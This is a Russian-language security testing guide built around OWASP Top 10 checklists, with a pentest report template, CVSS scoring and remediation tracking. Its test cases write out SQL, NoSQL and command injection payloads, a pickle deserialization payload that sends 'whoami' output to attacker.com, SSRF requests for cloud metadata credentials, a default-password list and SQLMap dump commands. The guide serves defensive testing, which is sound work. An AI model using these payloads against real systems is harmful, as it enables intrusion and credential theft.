Документация тестирования безопасности: Чек-листы OWASP, отчеты об уязвимостях и пентесты

Введение в документацию тестирования безопасности

Документация тестирования безопасности является краеугольным камнем надежной стратегии кибербезопасности. В отличие от функционального тестирования, которое валидирует правильную работу функций, тестирование безопасности гарантирует, что эти функции не могут быть использованы злонамеренно. Комплексная документация безопасности предоставляет доказательства должной осмотрительности, отслеживает устранение уязвимостей и создает аудиторский след для требований соответствия.

Это руководство охватывает полный спектр документации тестирования безопасности, от чек-листов на основе OWASP до отчетов о тестах на проникновение, оценок уязвимостей и отслеживания устранения.

Понимание целей тестирования безопасности

Тестирование безопасности нацелено на выявление уязвимостей до того, как их эксплуатируют злоумышленники. Основные цели включают:

Ключевые цели тестирования безопасности

1. Выявление уязвимостей: Обнаружение слабостей безопасности в приложениях, инфраструктуре и процессах
2. Оценка рисков: Оценка вероятности и влияния потенциальных эксплойтов
3. Валидация контролей: Проверка работы мер безопасности по назначению
4. Обеспечение соответствия: Выполнение регуляторных требований (GDPR, PCI-DSS, HIPAA, SOC 2)
5. Документирование доказательств: Создание аудиторских следов для позиции безопасности
6. Стимулирование устранения: Предоставление действенных инсайтов для исправления уязвимостей

Типы тестирования безопасности

Фреймворк тестирования OWASP Top 10

OWASP (Open Web Application Security Project) Top 10 представляет наиболее критичные риски безопасности для веб-приложений. Этот фреймворк обеспечивает стандартизированный подход к тестированию безопасности.

OWASP Top 10 (Издание 2021)

A01:2021 - Нарушенный контроль доступа

Описание: Пользователи могут действовать за пределами предполагаемых разрешений.

Чек-лист тестирования:

## A01: Тестирование нарушенного контроля доступа

### Горизонтальная эскалация привилегий
- [ ] Тестировать доступ к ресурсам других пользователей изменением ID пользователя в URL
- [ ] Попытаться просмотреть/изменить профили, заказы или данные других пользователей
- [ ] Тестировать уязвимости прямой ссылки на объект (IDOR)
- [ ] Проверить, что API endpoint'ы применяют специфичный для пользователя доступ

**Пример тестового случая:**
```http
# Нормальный запрос
GET /api/users/123/orders HTTP/1.1
Authorization: Bearer <токен-пользователя123>

# Попытка атаки - доступ к заказам пользователя 456 с токеном пользователя 123
GET /api/users/456/orders HTTP/1.1
Authorization: Bearer <токен-пользователя123>

Ожидается: HTTP 403 Forbidden
Фактически: [ЗАДОКУМЕНТИРОВАТЬ РЕЗУЛЬТАТ]

Вертикальная эскалация привилегий

• Тестировать доступ к функциям администратора с обычной учетной записью пользователя
• Попытаться изменить роли или разрешения пользователей
• Тестировать обход аутентификации для защищенных ресурсов
• Проверить применение контроля доступа на основе ролей (RBAC)

Пример тестового случая:

# Попытка атаки - обычный пользователь, обращающийся к endpoint'у администратора
GET /api/admin/users HTTP/1.1
Authorization: Bearer <токен-обычного-пользователя>

Ожидается: HTTP 403 Forbidden
Фактически: [ЗАДОКУМЕНТИРОВАТЬ РЕЗУЛЬТАТ]

Отсутствие контроля доступа на уровне функций

• Тестировать скрытые интерфейсы администратора (напр., /admin, /administrator)
• Проверить открытые API endpoint’ы без аутентификации
• Проверить защиту принудительного просмотра
• Тестировать доступ к страницам отладки/диагностики

Пример уязвимости:

URL: https://example.com/admin/delete-user?id=123
Метод: POST
Аутентификация: Не требуется ❌
Влияние: КРИТИЧЕСКОЕ - Удаление пользователей без аутентификации

#### A02:2021 - Криптографические сбои

**Описание:** Сбои, связанные с криптографией, которые часто приводят к раскрытию конфиденциальных данных.

**Чек-лист тестирования:**

```markdown
## A02: Тестирование криптографических сбоев

### Данные в передаче
- [ ] Проверить, что HTTPS принудительно используется на всех страницах
- [ ] Тестировать предупреждения о смешанном контенте
- [ ] Проверить конфигурацию TLS/SSL (минимум TLS 1.2)
- [ ] Проверить заголовок HTTP Strict Transport Security (HSTS)
- [ ] Тестировать действительность сертификата и цепочку доверия

**Команды тестирования:**
```bash
# Проверить версию TLS
openssl s_client -connect example.com:443 -tls1_1
# Должно провалиться, если TLS 1.1 отключен (безопасно)

# Проверить заголовок HSTS
curl -I https://example.com | grep -i strict-transport-security
# Ожидается: Strict-Transport-Security: max-age=31536000; includeSubDomains

Данные в покое

• Проверить, что конфиденциальные данные зашифрованы в базе данных
• Проверить хранение паролей (bcrypt, Argon2, не MD5/SHA1)
• Тестировать шифрование резервных копий
• Проверить практики управления ключами шифрования

Пример проверки базы данных:

-- Проверить, хешированы ли пароли (не открытый текст)
SELECT username, password FROM users LIMIT 5;
-- Ожидается: Хешированные значения типа $2b$12$abc123...
-- ❌ КРИТИЧЕСКОЕ: Если пароли читаемые в открытом виде

Конфиденциальные данные в логах

• Проверить логи приложения на конфиденциальные данные (пароли, токены, PII)
• Проверить, что сообщения об ошибках не раскрывают конфиденциальную информацию
• Тестировать, что ответы API не утекают внутренние детали

Чек-лист проверки логов:

# Поиск конфиденциальных данных в логах
grep -r "password" /var/log/application/
grep -r "token" /var/log/application/
grep -r "ssn\|credit_card" /var/log/application/

# ✅ ПРОЙДЕНО: Конфиденциальные данные не найдены
# ❌ ПРОВАЛЕНО: Найдено "user_password=secret123" в app.log

#### A03:2021 - Инъекция

**Описание:** Предоставленные пользователем данные не валидируются, не фильтруются или не санитизируются приложением.

**Чек-лист тестирования:**

```markdown
## A03: Тестирование инъекций

### SQL-инъекция
- [ ] Тестировать все поля ввода с payload'ами SQL-инъекции
- [ ] Проверить использование параметризованных запросов/подготовленных выражений
- [ ] Тестировать SQL-инъекцию на основе ошибок, слепую и основанную на времени

**Тестовые payload'ы SQL-инъекции:**
```sql
# Базовые попытки инъекции
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin'--
' UNION SELECT NULL, NULL, NULL--

# Слепая инъекция на основе времени
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--

# Тестировать в различных параметрах
- URL: ?id=1' OR '1'='1
- POST body: username=' OR '1'='1'--&password=anything
- JSON: {"search": "' OR '1'='1"}

Шаблон отчета об уязвимости:

### Уязвимость SQL-инъекции

**Серьезность:** КРИТИЧЕСКАЯ
**Местоположение:** /api/products/search
**Параметр:** query
**Payload:** `' OR '1'='1' --`

**Proof of Concept:**
```bash
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test'\'' OR '\''1'\''='\''1"}'

Ответ: Возвращает все продукты (обход фильтра поиска) Влияние: Утечка данных - несанкционированный доступ к полной базе данных продуктов Устранение: Использовать параметризованные запросы с подготовленными выражениями

### NoSQL-инъекция
- [ ] Тестировать инъекцию MongoDB (напр., `{"$gt": ""}`)
- [ ] Проверить санитизацию ввода для NoSQL баз данных
- [ ] Тестировать инъекцию операторов

**Payload'ы NoSQL-инъекции:**
```javascript
// Примеры инъекции MongoDB
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "sleep(5000)"}

// Тестировать в endpoint'е входа
POST /api/login
{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}
// Ожидается: Сбой входа
// ❌ КРИТИЧЕСКОЕ: Если аутентификация обойдена

Инъекция команд

• Тестировать инъекцию команд ОС в файловых операциях
• Проверить валидацию ввода для системных вызовов
• Тестировать уязвимости инъекции кода

Payload’ы инъекции команд:

# Тестировать в полях имени файла или системных параметрах
; ls -la
| whoami
`cat /etc/passwd`
$(curl attacker.com)
& ping -c 10 127.0.0.1 &

# Пример уязвимого endpoint'а
GET /api/export?filename=report.pdf; cat /etc/passwd

#### A04:2021 - Небезопасный дизайн

**Описание:** Отсутствующий или неэффективный дизайн контроля безопасности.

**Чек-лист тестирования:**

```markdown
## A04: Тестирование небезопасного дизайна

### Недостатки бизнес-логики
- [ ] Тестировать манипуляцию ценами в электронной коммерции
- [ ] Проверить, что последовательная обработка не может быть обойдена
- [ ] Тестировать условия гонки в финансовых транзакциях
- [ ] Проверить уязвимости обхода рабочего процесса

**Пример: Тест манипуляции ценой**
```http
# Нормальный запрос покупки
POST /api/checkout
{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99
}

# Атака: Изменить цену в запросе
POST /api/checkout
{
  "product_id": 123,
  "quantity": 1,
  "price": 0.01  ← Контролируется атакующим
}

Ожидается: Сервер валидирует цену из базы данных
❌ КРИТИЧЕСКОЕ: Если цена, предоставленная клиентом, принимается

Ограничение скорости и защита от DoS

• Тестировать отсутствие ограничения скорости на API endpoint’ах
• Проверить CAPTCHA на критичных операциях
• Тестировать уязвимости исчерпания ресурсов
• Проверить механизмы блокировки учетной записи

Тест ограничения скорости:

# Отправить 1000 запросов за 10 секунд
for i in {1..1000}; do
  curl -X POST https://example.com/api/login \
    -d "username=test&password=test" &
done

Ожидается: 429 Too Many Requests после порога
✅ ПРОЙДЕНО: Ограничение скорости применено после 10 запросов/минуту
❌ ПРОВАЛЕНО: Нет ограничения скорости - все 1000 запросов обработаны

Недостаточная анти-автоматизация

• Тестировать отсутствие защиты от ботов
• Проверить меры анти-скрейпинга
• Тестировать предотвращение credential stuffing

#### A05:2021 - Неправильная конфигурация безопасности

**Описание:** Неправильная конфигурация безопасности или небезопасные конфигурации по умолчанию.

**Чек-лист тестирования:**

```markdown
## A05: Тестирование неправильной конфигурации безопасности

### Включенные ненужные функции
- [ ] Проверить включенный листинг директорий
- [ ] Тестировать открытые интерфейсы администратора
- [ ] Проверить, что режим отладки отключен в продакшн
- [ ] Проверить включенные ненужные HTTP методы

**Тест листинга директорий:**
```bash
# Тестировать листинг директорий
curl https://example.com/uploads/
curl https://example.com/admin/
curl https://example.com/backup/

✅ ПРОЙДЕНО: 403 Forbidden или кастомная страница ошибки
❌ ПРОВАЛЕНО: Содержимое директории перечислено (index of /uploads/)

Учетные данные по умолчанию

• Тестировать учетные данные администратора по умолчанию (admin/admin, root/root)
• Проверить пароли базы данных по умолчанию
• Проверить, что API ключи по умолчанию изменены

Список тестирования учетных данных по умолчанию:

admin:admin
administrator:administrator
root:root
admin:password
admin:123456
sa:sa (SQL Server)
postgres:postgres

Заголовки безопасности

• Проверить заголовок Content-Security-Policy (CSP)
• Проверить заголовок X-Frame-Options
• Проверить X-Content-Type-Options: nosniff
• Проверить заголовок X-XSS-Protection

Валидация заголовков безопасности:

curl -I https://example.com | grep -E "Content-Security-Policy|X-Frame-Options|X-Content-Type-Options"

Ожидаемые заголовки:
✅ Content-Security-Policy: default-src 'self'
✅ X-Frame-Options: DENY
✅ X-Content-Type-Options: nosniff
✅ X-XSS-Protection: 1; mode=block

❌ ПРОВАЛЕНО: Отсутствуют заголовки безопасности

Обработка ошибок

• Проверить, что сообщения об ошибках не раскрывают конфиденциальную информацию
• Проверить трассировки стека в продакшн
• Тестировать подробные сообщения об ошибках

Тест сообщения об ошибке:

# Вызвать ошибку с недопустимым вводом
curl https://example.com/api/user/abc123xyz

❌ ПЛОХОЙ Ответ:
{
  "error": "SQLException: столбец 'user_id' ожидает integer в строке 47 в UserController.java",
  "stack_trace": "..."
}

✅ ХОРОШИЙ Ответ:
{
  "error": "Неверный формат ID пользователя",
  "error_code": "USER_400"
}

#### A06:2021 - Уязвимые и устаревшие компоненты

**Чек-лист тестирования:**

```markdown
## A06: Тестирование уязвимых компонентов

### Сканирование зависимостей
- [ ] Запустить автоматическое сканирование зависимостей (npm audit, OWASP Dependency-Check)
- [ ] Проверить отсутствие компонентов с известными критическими уязвимостями
- [ ] Проверить устаревшие библиотеки и фреймворки

**Команды сканирования зависимостей:**
```bash
# Проекты Node.js
npm audit
npm audit --audit-level=high

# Проекты Python
pip-audit
safety check

# Проекты Java
mvn dependency-check:check

# Общее
docker run --rm -v $(pwd):/src owasp/dependency-check \
  --scan /src --format HTML --out /src/dependency-report.html

Раскрытие версии

• Проверить HTTP заголовки на информацию о версии
• Тестировать версию фреймворка/сервера в сообщениях об ошибках
• Проверить, что страницы по умолчанию не раскрывают версии

Тест раскрытия версии:

curl -I https://example.com

❌ ПЛОХО:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.2.24

✅ ХОРОШО:
Server: nginx
# (Версия не раскрыта)

#### A07:2021 - Сбои идентификации и аутентификации

**Чек-лист тестирования:**

```markdown
## A07: Тестирование сбоев аутентификации

### Политика паролей
- [ ] Тестировать принятие слабых паролей
- [ ] Проверить требования к сложности пароля
- [ ] Проверить применение истории паролей
- [ ] Тестировать безопасность механизма сброса пароля

**Тест слабого пароля:**
```bash
# Тестировать создание учетной записи со слабыми паролями
curl -X POST https://example.com/api/register \
  -d '{"username":"test","password":"123456"}'

✅ ПРОЙДЕНО: Пароль отклонен - минимум 12 символов, требуется сложность
❌ ПРОВАЛЕНО: Учетная запись создана с паролем "123456"

Управление сеансами

• Тестировать уязвимости фиксации сеанса
• Проверить конфигурацию таймаута сеанса
• Проверить флаги безопасных cookies сеанса
• Тестировать обработку одновременных сеансов

Безопасность cookie сеанса:

curl -I https://example.com/login

Ожидаемые атрибуты Cookie:
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Strict; Max-Age=1800

✅ Secure: Только HTTPS
✅ HttpOnly: Недоступно через JavaScript
✅ SameSite: Защита от CSRF
✅ Max-Age: Таймаут 30 минут

❌ ПРОВАЛЕНО: Set-Cookie: session_id=abc123 (отсутствуют флаги безопасности)

Многофакторная аутентификация (MFA)

• Тестировать попытки обхода MFA
• Проверить безопасность резервных кодов
• Тестировать уязвимости регистрации MFA
• Проверить недостатки реализации TOTP

Тест обхода MFA:

# Попытка доступа к защищенному ресурсу без завершения MFA
POST /api/login
{"username":"admin","password":"правильный_пароль"}

Ответ: {"mfa_required": true, "session_token": "temp123"}

# Атака: Использовать временный токен сеанса напрямую для защищенного ресурса
GET /api/admin/dashboard
Authorization: Bearer temp123

Ожидается: 401 Unauthorized - MFA не завершена
❌ КРИТИЧЕСКОЕ: Если доступ предоставлен без верификации MFA

Защита от credential stuffing

• Тестировать блокировку учетной записи после неудачных попыток
• Проверить CAPTCHA на формах входа
• Проверить обнаружение скомпрометированных паролей

#### A08:2021 - Сбои целостности программного обеспечения и данных

**Чек-лист тестирования:**

```markdown
## A08: Тестирование сбоев целостности

### Небезопасная десериализация
- [ ] Тестировать небезопасную десериализацию в API
- [ ] Проверить валидацию ввода для сериализованных объектов
- [ ] Проверить удаленное выполнение кода через десериализацию

**Тест атаки десериализации:**
```python
# Тест десериализации pickle Python
import pickle
import base64

# Вредоносный payload
class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('curl attacker.com?data=$(whoami)',))

payload = base64.b64encode(pickle.dumps(RCE()))

# Отправить на уязвимый endpoint
curl -X POST https://example.com/api/import \
  -H "Content-Type: application/json" \
  -d "{\"data\": \"${payload}\"}"

Ожидается: Валидация ввода отклоняет небезопасные данные
❌ КРИТИЧЕСКОЕ: Если происходит выполнение кода

Неподписанные/непроверенные обновления

• Проверить, что обновления ПО используют цифровые подписи
• Проверить безопасные механизмы обновления
• Тестировать верификацию источника обновления

Безопасность CI/CD pipeline

• Проверить целостность артефактов в build pipeline
• Проверить секреты в системе контроля версий
• Тестировать несанкционированные модификации pipeline

#### A09:2021 - Сбои логирования и мониторинга безопасности

**Чек-лист тестирования:**

```markdown
## A09: Тестирование логирования и мониторинга

### Логирование событий безопасности
- [ ] Проверить, что неудачные попытки входа логируются
- [ ] Проверить логирование попыток эскалации привилегий
- [ ] Тестировать аудиторский след для критических операций
- [ ] Проверить защиту от подделки логов

**Чек-лист проверки логов:**
```bash
# События, которые ДОЛЖНЫ логироваться:
✅ Неудачные попытки аутентификации
✅ Успешная аутентификация (с ID пользователя)
✅ Изменения пароля
✅ Изменения разрешений/ролей
✅ Доступ к конфиденциальным данным
✅ Сбои валидации ввода
✅ Системные ошибки и исключения

# События, которые НЕ ДОЛЖНЫ логироваться:
❌ Пароли или токены
❌ Номера кредитных карт
❌ Идентификаторы сеанса
❌ Персональная идентифицируемая информация (PII)

Инъекция логов

• Тестировать уязвимости инъекции логов
• Проверить санитизацию ввода в записях логов
• Проверить инъекцию CRLF в логах

Тест инъекции логов:

# Атака: Внедрить ложную запись лога
username: admin%0A[2025-10-08 12:00:00] SUCCESS: Пользователь admin вошел

# Если уязвимо, логи покажут:
[2025-10-08 11:59:55] FAILED: Попытка входа для пользователя: admin
[2025-10-08 12:00:00] SUCCESS: Пользователь admin вошел  ← Ложная запись

Механизмы оповещения

• Проверить настройку оповещений безопасности
• Тестировать доставку оповещений для критических событий
• Проверить усталость от оповещений (слишком много оповещений)

#### A10:2021 - Server-Side Request Forgery (SSRF)

**Чек-лист тестирования:**

```markdown
## A10: Тестирование SSRF

### Доступ к внутренним ресурсам
- [ ] Тестировать доступ к внутренним диапазонам IP (127.0.0.1, 10.x.x.x, 192.168.x.x)
- [ ] Проверить защиту endpoint'а метаданных облака (169.254.169.254)
- [ ] Тестировать сканирование внутренних портов через SSRF

**Тестовые payload'ы SSRF:**
```bash
# Тестировать параметры URL для SSRF
curl "https://example.com/api/fetch?url=http://localhost:8080/admin"
curl "https://example.com/api/fetch?url=http://127.0.0.1:22"
curl "https://example.com/api/fetch?url=http://192.168.1.1"

# Атака метаданных AWS
curl "https://example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Ожидается: Запрос заблокирован или отфильтрован
❌ КРИТИЧЕСКОЕ: Если внутренние ресурсы доступны

DNS Rebinding

• Тестировать уязвимости DNS rebinding
• Проверить лимиты разрешения DNS

Следование редиректам

• Тестировать открытый редирект на внутренние ресурсы
• Проверить валидацию пункта назначения редиректа

## Структура отчета о тесте на проникновение

Комплексный отчет о тесте на проникновение документирует находки, доказательства и руководство по устранению.

### Шаблон резюме для руководства

```markdown
# Отчет о тесте на проникновение - Резюме для руководства

## Обзор теста
**Цель:** Веб-приложение example.com
**Период тестирования:** 1-5 октября, 2025
**Тип теста:** Тест на проникновение веб-приложения методом черного ящика
**Тестировщик:** Jane Smith, OSCP, CEH

## Общая оценка риска: ВЫСОКАЯ

### Сводка находок

| Серьезность | Количество | % от общего |
|-------------|------------|-------------|
| Критическая | 3 | 15% |
| Высокая | 5 | 25% |
| Средняя | 8 | 40% |
| Низкая | 4 | 20% |
| **Всего** | **20** | **100%** |

### Критические находки

1. **SQL-инъекция в поиске продуктов** (CVSS 9.8)
   - Позволяет полный доступ к базе данных
   - Данные клиентов под угрозой

2. **Обход аутентификации через манипуляцию JWT** (CVSS 9.1)
   - Эскалация привилегий до роли администратора
   - Возможна полная компрометация системы

3. **Удаленное выполнение кода через загрузку файлов** (CVSS 9.6)
   - Возможен захват сервера
   - Требуется немедленная установка патча

### Влияние на бизнес

**Данные под угрозой:**
- 150,000 записей клиентов (имена, email'ы, адреса)
- 45,000 токенов платежных карт (последние 4 цифры)
- Внутренние бизнес-документы и исходный код

**Влияние на соответствие:**
- Риск нарушения GDPR (Статья 32 - Безопасность обработки)
- Несоответствие PCI-DSS (Требование 6.5)
- Потенциальные штрафы: €20M или 4% от годового оборота

### Немедленные рекомендации

1. Отключить функциональность загрузки файлов до установки патча (Критическое)
2. Реализовать параметризованные запросы для всех операций с БД (Критическое)
3. Усилить валидацию JWT и алгоритм подписи (Критическое)
4. Развернуть Web Application Firewall (WAF) как временное смягчение (Высокое)
5. Инициировать процедуры реагирования на инциденты и оценить на предмет утечки (Высокое)

## Следующие шаги

1. Спринт устранения (Цель: 2 недели)
2. Повторное тестирование критических и высоких находок
3. Внедрение непрерывного тестирования безопасности
4. Обучение осведомленности о безопасности для команды разработки

Шаблон детальной находки

# Находка: SQL-инъекция в поиске продуктов

## Детали уязвимости

**Серьезность:** КРИТИЧЕСКАЯ
**Оценка CVSS v3.1:** 9.8 (Критическая)
**Вектор CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE:** CWE-89: Improper Neutralization of Special Elements used in an SQL Command
**OWASP:** A03:2021 - Injection

## Затронутый компонент

**URL:** https://example.com/api/products/search
**Параметр:** `query`
**HTTP метод:** POST
**Требуется аутентификация:** Нет

## Описание

Endpoint поиска продуктов уязвим к SQL-инъекции из-за прямой конкатенации пользовательского ввода в SQL-запросы без надлежащей санитизации или параметризации. Атакующий может внедрить вредоносные SQL-команды для извлечения, модификации или удаления данных из базы данных.

## Proof of Concept

### Эксплуатация шаг за шагом

1. **Нормальный запрос:**
```bash
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "laptop"}'

Ответ: [Список продуктов laptop]

2. Тест инъекции:

curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "laptop'\'' OR '\''1'\''='\''1"}'

Ответ: [ВСЕ продукты возвращены - обход подтвержден]

3. Перечисление базы данных:

curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "'\'' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--"}'

Ответ: [Имена таблиц БД раскрыты: users, products, orders, payment_methods]

4. Извлечение данных:

curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "'\'' UNION SELECT email,password_hash,NULL FROM users--"}'

Ответ: [Учетные данные пользователей раскрыты - 150,000 записей извлекаемо]

Скриншоты доказательств

Анализ влияния

Техническое влияние

• Конфиденциальность: ВЫСОКАЯ - Полный доступ к базе данных
• Целостность: ВЫСОКАЯ - Возможна модификация данных
• Доступность: СРЕДНЯЯ - База данных может быть удалена

Влияние на бизнес

• Утечка данных: 150,000 записей клиентов раскрыто
• Финансовые потери: Оценка $2.5M (регуляторные штрафы + реагирование на инцидент + ущерб репутации)
• Соответствие: Нарушение GDPR, несоответствие PCI-DSS
• Репутация: Потеря доверия клиентов

Сценарии атаки

1. Кража данных: Атакующий экспортирует полную базу данных клиентов
2. Сбор учетных данных: Учетные данные пользователей украдены для захвата аккаунтов
3. Финансовое мошенничество: Доступ к платежной информации
4. Вымогательство: База данных удалена или зашифрована для выкупа

Анализ первопричины

Уязвимый код (ProductController.java):

public List<Product> searchProducts(String query) {
    String sql = "SELECT * FROM products WHERE name LIKE '%" + query + "%'";
    // ❌ УЯЗВИМО: Прямая конкатенация строк
    return jdbcTemplate.query(sql, new ProductRowMapper());
}

Проблема: Пользовательский ввод (query) напрямую конкатенируется в SQL-выражение без валидации или параметризации.

Устранение

Немедленное исправление (Требуется в течение 24 часов)

Вариант 1: Отключить endpoint

@PostMapping("/api/products/search")
public ResponseEntity<?> searchProducts(@RequestBody SearchRequest request) {
    return ResponseEntity.status(503)
        .body("Функциональность поиска временно недоступна для обслуживания");
}

Вариант 2: Санитизация ввода (временно)

public List<Product> searchProducts(String query) {
    // Whitelist только буквенно-цифровых символов и пробелов
    if (!query.matches("^[a-zA-Z0-9\\s]+$")) {
        throw new InvalidInputException("Недопустимый поисковый запрос");
    }
    String sql = "SELECT * FROM products WHERE name LIKE ?";
    return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}

Постоянное исправление (Требуется в течение 1 недели)

Использовать параметризованные запросы (подготовленные выражения):

public List<Product> searchProducts(String query) {
    String sql = "SELECT * FROM products WHERE name LIKE ?";
    // ✅ БЕЗОПАСНО: Параметризованный запрос
    return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}

// Альтернатива: Использование JPA/Hibernate
@Query("SELECT p FROM Product p WHERE p.name LIKE %:query%")
List<Product> searchProducts(@Param("query") String query);

Дополнительные меры безопасности

1. Валидация ввода:

@Pattern(regexp = "^[a-zA-Z0-9\\s\\-]+$", message = "Недопустимые символы в поисковом запросе")
private String query;

2. Доступ к БД с минимальными привилегиями:

-- Создать пользователя только для чтения для приложения
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'сильный_пароль';
GRANT SELECT ON products.* TO 'app_readonly'@'localhost';
FLUSH PRIVILEGES;

3. Правила Web Application Firewall (WAF):

# Правило ModSecurity для обнаружения SQL-инъекции
SecRule ARGS "@detectSQLi" \
    "id:1001,phase:2,deny,status:403,msg:'SQL-инъекция обнаружена'"

4. Мониторинг активности базы данных:

# Включить логирование запросов для подозрительных паттернов
logging:
  slow_query_log: ON
  log_queries_not_using_indexes: ON
  general_log: OFF  # (влияние на производительность)

Рекомендации по тестированию

1. Немедленно: Запустить автоматический сканер SQL-инъекций (SQLMap) на всех endpoint’ах
2. Краткосрочно: Ревью безопасности кода всех запросов к базе данных
3. Долгосрочно: Внедрить SAST (Static Application Security Testing) в CI/CD pipeline
4. Постоянно: Регулярные тесты на проникновение (ежеквартально)

Ссылки

• OWASP SQL Injection Prevention Cheat Sheet
• CWE-89: SQL Injection
• NIST SP 800-53: SI-10 Information Input Validation

Критерии повторного тестирования

Уязвимость будет считаться исправленной, когда:

1. Все SQL-запросы используют параметризованные выражения или ORM
2. Валидация ввода реализована с подходом whitelist
3. Автоматическое сканирование SQL-инъекций не показывает находок
4. Ручное повторное тестирование подтверждает блокировку попыток инъекции
5. Пользователь БД имеет минимально необходимые привилегии

Повторное тестирование запланировано: 20 октября, 2025 Назначено на: Команда разработки (Backend) Отслеживание: Тикет JIRA SEC-2025-001

## Оценка серьезности уязвимостей

### Калькулятор CVSS v3.1

Common Vulnerability Scoring System (CVSS) предоставляет стандартизированный способ оценки серьезности уязвимостей.

**Базовые метрики CVSS v3.1:**

| Метрика | Опции | Пример: SQL-инъекция |
|---------|-------|----------------------|
| **Вектор атаки (AV)** | Сеть (N), Смежная (A), Локальная (L), Физическая (P) | Сеть (N) |
| **Сложность атаки (AC)** | Низкая (L), Высокая (H) | Низкая (L) |
| **Требуемые привилегии (PR)** | Нет (N), Низкие (L), Высокие (H) | Нет (N) |
| **Взаимодействие с пользователем (UI)** | Нет (N), Требуется (R) | Нет (N) |
| **Область (S)** | Без изменений (U), Изменена (C) | Без изменений (U) |
| **Конфиденциальность (C)** | Нет (N), Низкая (L), Высокая (H) | Высокая (H) |
| **Целостность (I)** | Нет (N), Низкая (L), Высокая (H) | Высокая (H) |
| **Доступность (A)** | Нет (N), Низкая (L), Высокая (H) | Высокая (H) |

**Оценка CVSS SQL-инъекции:**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Базовая оценка: 9.8 (Критическая)

### Оценки серьезности

| Диапазон оценки | Серьезность | Время реагирования | Примеры |
|-----------------|-------------|-------------------|---------|
| 9.0 - 10.0 | **Критическая** | 24-48 часов | RCE, Обход аутентификации, SQL-инъекция |
| 7.0 - 8.9 | **Высокая** | 1 неделя | XSS (хранимый), CSRF, Эскалация привилегий |
| 4.0 - 6.9 | **Средняя** | 1 месяц | Раскрытие информации, Отсутствующие заголовки безопасности |
| 0.1 - 3.9 | **Низкая** | Следующий релиз | Раскрытие версии, Подробные ошибки |

## Отслеживание устранения

### Шаблон отслеживания уязвимостей

```markdown
# Трекер устранения уязвимостей

## Критические уязвимости

### VUL-2025-001: SQL-инъекция в поиске продуктов

**Статус:** 🔴 Открыта → 🟡 В работе → 🟢 Исправлена → ✅ Проверена

| Поле | Значение |
|------|----------|
| Обнаружена | 2025-10-01 |
| Серьезность | Критическая (CVSS 9.8) |
| Назначена на | Команда Backend (John Doe) |
| Целевая дата исправления | 2025-10-08 |
| Фактическая дата исправления | 2025-10-07 |
| Дата повторного тестирования | 2025-10-09 |
| Статус | ✅ Проверена исправленной |

**Действия по устранению:**
- [x] Аварийный патч развернут (2025-10-02)
- [x] Параметризованные запросы реализованы (2025-10-07)
- [x] Валидация ввода добавлена (2025-10-07)
- [x] Разрешения БД ограничены (2025-10-07)
- [x] Правила WAF развернуты (2025-10-03)
- [x] Тестирование безопасности пройдено (2025-10-09)

**Верификация:**
- Автоматическое сканирование: ✅ SQL-инъекция не обнаружена
- Ручное повторное тестирование: ✅ Все попытки атаки заблокированы
- Ревью кода: ✅ Одобрено архитектором безопасности

---

### VUL-2025-002: Обход аутентификации через JWT

**Статус:** 🟡 В работе

| Поле | Значение |
|------|----------|
| Обнаружена | 2025-10-01 |
| Серьезность | Критическая (CVSS 9.1) |
| Назначена на | Команда аутентификации (Jane Smith) |
| Целевая дата исправления | 2025-10-10 |
| Текущий статус | Исправление в разработке |

**Действия по устранению:**
- [x] Алгоритм JWT изменен с HS256 на RS256 (2025-10-05)
- [x] Истечение токена сокращено с 24ч до 1ч (2025-10-05)
- [ ] Механизм refresh token реализован (В работе)
- [ ] Система отзыва токенов (Запланировано)
- [ ] Тестирование безопасности (Ожидает)

**Блокировщики:**
- Ожидание выделения Redis командой инфраструктуры для черного списка токенов

**Следующие шаги:**
- Завершить реализацию refresh token (2025-10-08)
- Развернуть в staging для тестирования (2025-10-09)
- Повторное тестирование безопасности (2025-10-10)

Инструменты тестирования безопасности

Инструменты автоматического сканирования безопасности

Примеры использования инструментов

Автоматическое сканирование OWASP ZAP:

# Запустить ZAP в режиме демона
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh -daemon \
  -host 0.0.0.0 -port 8080 -config api.disablekey=true

# Запустить автоматическое сканирование
zap-cli quick-scan -s xss,sqli https://example.com

# Сгенерировать HTML отчет
zap-cli report -o zap-report.html -f html

Сканирование безопасности Nmap:

# Комплексное сканирование безопасности
nmap -sV -sC --script=vuln -p- example.com -oA nmap-security-scan

# Проверка уязвимостей SSL/TLS
nmap --script ssl-enum-ciphers -p 443 example.com

Извлечение базы данных SQLMap:

# Тестировать SQL-инъекцию
sqlmap -u "https://example.com/api/search?q=test" --batch --risk=3 --level=5

# Извлечь имена баз данных
sqlmap -u "https://example.com/api/search?q=test" --dbs

# Дамп конкретной таблицы
sqlmap -u "https://example.com/api/search?q=test" -D имя_бд -T users --dump

Требования соответствия и регуляторные требования

Требования безопасности GDPR

## GDPR Статья 32: Безопасность обработки

### Требуемые меры безопасности

- [ ] **Псевдонимизация и шифрование** персональных данных
- [ ] **Способность обеспечивать постоянную конфиденциальность**, целостность, доступность
- [ ] **Способность восстанавливать доступ** к персональным данным своевременно
- [ ] **Регулярное тестирование и оценка** мер безопасности

